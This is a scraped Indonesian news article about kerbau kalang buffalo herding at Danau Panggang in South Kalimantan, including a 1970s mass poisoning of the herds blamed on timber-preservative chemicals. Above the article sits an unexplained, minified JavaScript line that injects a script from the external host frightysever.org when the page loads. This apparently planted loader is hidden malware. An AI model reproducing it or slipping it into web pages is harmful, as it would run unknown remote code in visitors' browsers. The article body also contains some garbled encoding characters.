(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Selain perikanan yang menjadi gantungan hidup ribuan orang, sejak ratusan tahun silam, warga mengembangkan kerbau kalang. Beberapa warga memiliki ratusan, bahkan ribuan kerbau kalang yang menjadi sumber kehidupan dan pekerjaan. Kerbau kalang dari Danau Panggang dikonsumsi tak hanya di wilayah Kalsel, tapi hingga ke provinsi tetangga.
Harga satu kerbau kalang bisa mencapai Rp 20 juta, bahkan lebih. Pasarnya pun jelas. Permintaan  kerbau kalang meninggi pada hari-hari besar keagamaan seperti maulid Nabi, Isra Mi’raj, dan lebaran. Pada hari-hari itu, harga kerbau naik dan warga meraih cukup untung.
Yang menarik, bisnis kerbau kalang di Desa Bararawa dan sekitarnya, sepenuhnya berlandaskan syariat Islam. Seluruh kerbau dicatat hari dan waktu kelahirannya, sehingga ketika digunakan sebagai hewan qurban, umurnya telah mencapai dua tahun. Umur dua tahun merupakan syarat agama yang harus dipenuhi hewan qurban.
Warga di sekitar Danau Panggang punya pengalaman buruk dengan masuknya jenis usaha baru, terutama yang modern. Pada tahun 1970-an misalnya, ratusan kerbau kalang mati mendadak. Pemilik kerbau dan warga rugi besar. Beberapa kerbau kalang modar, sebutan warga pada kerbau kalang yang ditemukan mati dan tak sempat disembelih. Beberapa kerbau yang selamat terpaksa dijual dengan harga murah.
Usut punya usut, ternyata penyebab kematian massal itu adalah obat kayu ramin yang digunakan sebuah perusahaan kayu yang mendirikan penampungan kayu di Danau Panggang. Obat kayu ramin itu ditaburkan ke kayu saat masih berada di daratan agar awet. Begitu obat telah meresap, kayu-kayu gelondongan –umumnya jenis raminâ€â€Âdiceburkan ke sungai.Nah, obat itulah yang kemudian menyatu dengan air dan beredar sangat luas. Kerbau kalang yang memang berkeliaran kemana-mana tak sengaja meminum air beracun itu. Ujungnya kerbau-kerbau keracunan. Perut mereka panas. Mereka terpaksa minum terus agar perutnya dingin. Saat kerbau-kerbau itu tewas, perutnya yang dibuka warga nampak seperti terbakar.***
KANALKALIMANTAN.COM, BANJARMASIN - PT Global Equipment Nusatama (GEN) menggelar kicf off meeting evaluasi bersama jajaran… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah melalui PT PLN (Persero) terus berupaya menghadirkan listrik di semua wilayah… Read More
KANALKALIMANTAN.COM, BANJARBARU - Guyuran hujan yang tak berhenti sejak dini hari Selasa (21/1/2024) hingga siang… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur dan Kepala Balai Prasarana Permukiman Wilayah (BPPW)… Read More
KANALKALIMANTAN.COM, AMUNTAI - Ribuan jamaah dari berbagai wilayah dari dan luar Kalimantan Selatan menghadiri pelaksanaan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Guyuran hujan lebat tengah melanda hampir seluruh wilayah di Kota Banjarbaru sejak… Read More
This website uses cookies.